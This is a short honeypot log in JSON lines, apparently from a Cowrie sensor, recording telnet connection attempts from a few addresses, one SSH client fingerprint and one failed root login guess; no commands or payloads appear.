{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":43138,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf3e0d0c0090","protocol":"telnet","message":"New connection: 192.119.108.58:43138 (159.203.135.109:23) [session: cf3e0d0c0090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:33.914210Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":41572,"dst_ip":"159.203.135.109","dst_port":23,"session":"f484d835a344","protocol":"telnet","message":"New connection: 192.119.108.58:41572 (159.203.135.109:23) [session: f484d835a344]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:34.303430Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":43700,"dst_ip":"159.203.135.109","dst_port":23,"session":"25d5131848ad","protocol":"telnet","message":"New connection: 192.119.108.58:43700 (159.203.135.109:23) [session: 25d5131848ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:34.962085Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":43408,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb09e6b7a83b","protocol":"telnet","message":"New connection: 192.119.108.58:43408 (159.203.135.109:23) [session: fb09e6b7a83b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:35.424757Z"}
{"eventid":"cowrie.session.closed","duration":30.868569135665894,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:35.497969Z","src_ip":"192.119.108.58","session":"2a6ec5f7015a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.231.162","src_port":40732,"dst_ip":"10.17.0.5","dst_port":23,"session":"56ccf23b5f96","protocol":"telnet","message":"New connection: 50.6.231.162:40732 (10.17.0.5:23) [session: 56ccf23b5f96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:36.365732Z"}
{"eventid":"cowrie.session.closed","duration":30.91757369041443,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:36.625232Z","src_ip":"192.119.108.58","session":"cef9a02c4c76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.958802938461304,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:36.743327Z","src_ip":"192.119.108.58","session":"1ebdd980f346","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":45184,"dst_ip":"159.203.135.109","dst_port":23,"session":"00d13fe46b8f","protocol":"telnet","message":"New connection: 192.119.108.58:45184 (159.203.135.109:23) [session: 00d13fe46b8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:37.650592Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":45220,"dst_ip":"159.203.135.109","dst_port":23,"session":"07f0f0426781","protocol":"telnet","message":"New connection: 192.119.108.58:45220 (159.203.135.109:23) [session: 07f0f0426781]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:37.709125Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":50008,"dst_ip":"159.203.135.109","dst_port":23,"session":"8df0448f8f87","protocol":"telnet","message":"New connection: 162.241.141.97:50008 (159.203.135.109:23) [session: 8df0448f8f87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:37.875633Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":50130,"dst_ip":"159.203.135.109","dst_port":23,"session":"20951dd5a56d","protocol":"telnet","message":"New connection: 162.241.141.97:50130 (159.203.135.109:23) [session: 20951dd5a56d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:37.971695Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":45456,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1c0a603da7d","protocol":"telnet","message":"New connection: 192.119.108.58:45456 (159.203.135.109:23) [session: f1c0a603da7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:38.004609Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":50744,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e4820232b6b","protocol":"telnet","message":"New connection: 162.241.141.97:50744 (159.203.135.109:23) [session: 3e4820232b6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:38.286880Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":50814,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f0cdbd0cab8","protocol":"telnet","message":"New connection: 162.241.141.97:50814 (159.203.135.109:23) [session: 3f0cdbd0cab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:38.315339Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":51092,"dst_ip":"159.203.135.109","dst_port":23,"session":"1dd75aa8ec88","protocol":"telnet","message":"New connection: 162.241.141.97:51092 (159.203.135.109:23) [session: 1dd75aa8ec88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:38.441969Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":45198,"dst_ip":"159.203.135.109","dst_port":23,"session":"0cde39cb27e5","protocol":"telnet","message":"New connection: 192.119.108.58:45198 (159.203.135.109:23) [session: 0cde39cb27e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:38.670271Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":52332,"dst_ip":"159.203.135.109","dst_port":23,"session":"a589f035b780","protocol":"telnet","message":"New connection: 162.241.141.97:52332 (159.203.135.109:23) [session: a589f035b780]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:39.007778Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":52472,"dst_ip":"159.203.135.109","dst_port":23,"session":"53e9d9b76a5f","protocol":"telnet","message":"New connection: 162.241.141.97:52472 (159.203.135.109:23) [session: 53e9d9b76a5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:39.077957Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":52508,"dst_ip":"159.203.135.109","dst_port":23,"session":"405977295760","protocol":"telnet","message":"New connection: 162.241.141.97:52508 (159.203.135.109:23) [session: 405977295760]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:39.092771Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":46372,"dst_ip":"159.203.135.109","dst_port":23,"session":"14ab8a9dba64","protocol":"telnet","message":"New connection: 192.119.108.58:46372 (159.203.135.109:23) [session: 14ab8a9dba64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:39.490004Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":45838,"dst_ip":"159.203.135.109","dst_port":23,"session":"705d43a7122c","protocol":"telnet","message":"New connection: 192.119.108.58:45838 (159.203.135.109:23) [session: 705d43a7122c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:39.622324Z"}
{"eventid":"cowrie.session.closed","duration":31.015007257461548,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:39.787816Z","src_ip":"208.115.200.90","session":"afe0ca4b5b84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":45990,"dst_ip":"159.203.135.109","dst_port":23,"session":"db5569542ed1","protocol":"telnet","message":"New connection: 192.119.108.58:45990 (159.203.135.109:23) [session: db5569542ed1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:39.828674Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.231.162","src_port":40744,"dst_ip":"10.17.0.5","dst_port":23,"session":"20341c90d8c3","protocol":"telnet","message":"New connection: 50.6.231.162:40744 (10.17.0.5:23) [session: 20341c90d8c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:39.926322Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.231.162","src_port":40734,"dst_ip":"10.17.0.5","dst_port":23,"session":"b929c30f1b2b","protocol":"telnet","message":"New connection: 50.6.231.162:40734 (10.17.0.5:23) [session: b929c30f1b2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:40.106537Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":52962,"dst_ip":"159.203.135.109","dst_port":23,"session":"14c8c99ce6ed","protocol":"telnet","message":"New connection: 162.241.141.97:52962 (159.203.135.109:23) [session: 14c8c99ce6ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:40.304333Z"}
{"eventid":"cowrie.session.closed","duration":12.08907437324524,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:40.333782Z","src_ip":"37.131.44.88","session":"7e831041da6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":46366,"dst_ip":"159.203.135.109","dst_port":23,"session":"9efa4b0efcaa","protocol":"telnet","message":"New connection: 192.119.108.58:46366 (159.203.135.109:23) [session: 9efa4b0efcaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:40.476136Z"}
{"eventid":"cowrie.session.closed","duration":31.3936710357666,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:40.636189Z","src_ip":"192.119.108.58","session":"c36313c3a77d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.457425832748413,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:40.813568Z","src_ip":"192.119.108.58","session":"c3675d7aeb14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51853632926941,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:41.253743Z","src_ip":"192.119.108.58","session":"cca729a83faf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":43794,"dst_ip":"10.17.0.5","dst_port":23,"session":"299eb891e987","protocol":"telnet","message":"New connection: 80.241.210.166:43794 (10.17.0.5:23) [session: 299eb891e987]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:41.455855Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":45860,"dst_ip":"159.203.135.109","dst_port":23,"session":"1405f1f23cb6","protocol":"telnet","message":"New connection: 192.119.108.58:45860 (159.203.135.109:23) [session: 1405f1f23cb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:41.639413Z"}
{"eventid":"cowrie.session.closed","duration":30.837318420410156,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:42.123832Z","src_ip":"50.6.231.162","session":"d8ff7e15e4c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":48420,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3fb5804ef0f","protocol":"telnet","message":"New connection: 192.119.108.58:48420 (159.203.135.109:23) [session: d3fb5804ef0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:42.616887Z"}
{"eventid":"cowrie.session.closed","duration":30.52717638015747,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:43.125005Z","src_ip":"192.119.108.58","session":"6764cd9b7c8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.267061233520508,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:43.228979Z","src_ip":"192.119.108.58","session":"5e3f76b27029","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":48886,"dst_ip":"159.203.135.109","dst_port":23,"session":"b849bada6040","protocol":"telnet","message":"New connection: 192.119.108.58:48886 (159.203.135.109:23) [session: b849bada6040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:43.280411Z"}
{"eventid":"cowrie.session.closed","duration":31.088446378707886,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:43.526551Z","src_ip":"50.6.231.162","session":"71ec04a6c365","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":57684,"dst_ip":"159.203.135.109","dst_port":23,"session":"e67189c8a9f7","protocol":"telnet","message":"New connection: 162.241.141.97:57684 (159.203.135.109:23) [session: e67189c8a9f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:43.945669Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":49390,"dst_ip":"159.203.135.109","dst_port":23,"session":"9afe0c261133","protocol":"telnet","message":"New connection: 192.119.108.58:49390 (159.203.135.109:23) [session: 9afe0c261133]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:43.995201Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":57898,"dst_ip":"159.203.135.109","dst_port":23,"session":"927e0668b6de","protocol":"telnet","message":"New connection: 162.241.141.97:57898 (159.203.135.109:23) [session: 927e0668b6de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:44.073228Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":58498,"dst_ip":"159.203.135.109","dst_port":23,"session":"de8e6150dc10","protocol":"telnet","message":"New connection: 162.241.141.97:58498 (159.203.135.109:23) [session: de8e6150dc10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:44.372386Z"}
{"eventid":"cowrie.session.closed","duration":30.524029970169067,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:44.432239Z","src_ip":"50.6.231.162","session":"6f19126cfd7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.332233905792236,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:44.871278Z","src_ip":"192.119.108.58","session":"a2566cd9a58b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":59504,"dst_ip":"159.203.135.109","dst_port":23,"session":"22a08ddd238b","protocol":"telnet","message":"New connection: 162.241.141.97:59504 (159.203.135.109:23) [session: 22a08ddd238b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:44.909687Z"}
{"eventid":"cowrie.session.closed","duration":30.25334596633911,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:45.096087Z","src_ip":"162.241.141.97","session":"957049cb4373","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":60076,"dst_ip":"159.203.135.109","dst_port":23,"session":"1558db5d8bcd","protocol":"telnet","message":"New connection: 162.241.141.97:60076 (159.203.135.109:23) [session: 1558db5d8bcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:45.229722Z"}
{"eventid":"cowrie.session.closed","duration":30.353306770324707,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:45.284208Z","src_ip":"162.241.141.97","session":"953ede01258b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03649139404297,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:45.301158Z","src_ip":"192.119.108.58","session":"17d8b1c8289f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":60694,"dst_ip":"159.203.135.109","dst_port":23,"session":"466ea3ada7de","protocol":"telnet","message":"New connection: 162.241.141.97:60694 (159.203.135.109:23) [session: 466ea3ada7de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:45.438989Z"}
{"eventid":"cowrie.session.closed","duration":31.40351104736328,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:45.572287Z","src_ip":"192.119.108.58","session":"3060c7d06fac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":60992,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f27080af1a6","protocol":"telnet","message":"New connection: 162.241.141.97:60992 (159.203.135.109:23) [session: 4f27080af1a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:45.592600Z"}
{"eventid":"cowrie.session.closed","duration":30.857418298721313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:45.794594Z","src_ip":"162.241.141.97","session":"b78ab5434c02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":33590,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1d689ec3d6e","protocol":"telnet","message":"New connection: 162.241.141.97:33590 (159.203.135.109:23) [session: d1d689ec3d6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:45.953420Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":33954,"dst_ip":"159.203.135.109","dst_port":23,"session":"e99b55b0e631","protocol":"telnet","message":"New connection: 162.241.141.97:33954 (159.203.135.109:23) [session: e99b55b0e631]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:46.126889Z"}
{"eventid":"cowrie.session.closed","duration":30.545933723449707,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:46.181736Z","src_ip":"192.119.108.58","session":"c0ba7875c16c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":34352,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9b31df6d02f","protocol":"telnet","message":"New connection: 162.241.141.97:34352 (159.203.135.109:23) [session: f9b31df6d02f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:46.296966Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.231.162","src_port":57554,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1f42b8aee29","protocol":"telnet","message":"New connection: 50.6.231.162:57554 (10.17.0.5:23) [session: c1f42b8aee29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:46.565794Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":33414,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c447116ea3f","protocol":"telnet","message":"New connection: 162.241.141.97:33414 (159.203.135.109:23) [session: 6c447116ea3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:46.868196Z"}
{"eventid":"cowrie.session.closed","duration":31.53901720046997,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:46.947447Z","src_ip":"192.119.108.58","session":"1ed262d8d637","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":51918,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea6ae136a534","protocol":"telnet","message":"New connection: 192.119.108.58:51918 (159.203.135.109:23) [session: ea6ae136a534]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:47.404193Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.231.162","src_port":57568,"dst_ip":"10.17.0.5","dst_port":23,"session":"d87080bf4678","protocol":"telnet","message":"New connection: 50.6.231.162:57568 (10.17.0.5:23) [session: d87080bf4678]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:49.068852Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":53232,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6e67fb168f1","protocol":"telnet","message":"New connection: 192.119.108.58:53232 (159.203.135.109:23) [session: b6e67fb168f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:49.308472Z"}
{"eventid":"cowrie.session.closed","duration":30.3975248336792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:49.356959Z","src_ip":"192.119.108.58","session":"50c116a5e4d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.255.52.36","src_port":35358,"dst_ip":"159.203.135.109","dst_port":22,"session":"03cfb043b66e","protocol":"ssh","message":"New connection: 191.255.52.36:35358 (159.203.135.109:22) [session: 03cfb043b66e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:49.967461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:50.020639Z","src_ip":"191.255.52.36","session":"03cfb043b66e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:50.159716Z","src_ip":"191.255.52.36","session":"03cfb043b66e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.609283924102783,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:50.184542Z","src_ip":"192.119.108.58","session":"0e32ae27d4b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":54056,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec3017cf7411","protocol":"telnet","message":"New connection: 192.119.108.58:54056 (159.203.135.109:23) [session: ec3017cf7411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:50.561445Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"odoo2025","message":"login attempt [root/odoo2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:50.793747Z","src_ip":"191.255.52.36","session":"03cfb043b66e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":38934,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8650bf1f20e","protocol":"telnet","message":"New connection: 162.241.141.97:38934 (159.203.135.109:23) [session: a8650bf1f20e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:50.818321Z"}
{"eventid":"cowrie.session.closed","duration":30.52128005027771,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:51.079080Z","src_ip":"192.119.108.58","session":"11c90a83b11f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.471165418624878,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:51.367362Z","src_ip":"192.119.108.58","session":"14732fd60c4c","protocol":"telnet"}
